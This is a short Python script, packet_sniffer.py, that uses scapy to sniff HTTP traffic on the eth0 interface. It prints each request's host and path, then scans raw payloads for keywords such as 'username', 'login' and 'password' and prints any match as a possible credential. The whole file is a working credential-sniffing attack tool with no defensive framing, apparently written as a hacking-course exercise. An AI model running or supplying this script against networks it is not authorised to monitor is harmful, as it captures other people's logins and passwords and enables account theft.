packet_sniffer.py

#! /usr/bin/env python	
import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
 	scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
def get_url(packet):
	return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
def get_login_info(packet):
	if packet.haslayer(scapy.Raw):
 			load = str(packet[scapy.Raw].load)
 			keywords = ["username", "user","login","password","pass"]
 			for keyword in keywords:
 				if keyword in load:
 					return load
def process_sniffed_packet(packet):
 	if packet.haslayer(http.HTTPRequest):
 		url = get_url(packet)
 		print("[+] HTTP Request >> " + url.decode())
 		login_info = get_login_info(packet)
 		if login_info:
 			print("\n\n[+] Possible username/password > " + login_info + "\n\n")
sniff("eth0")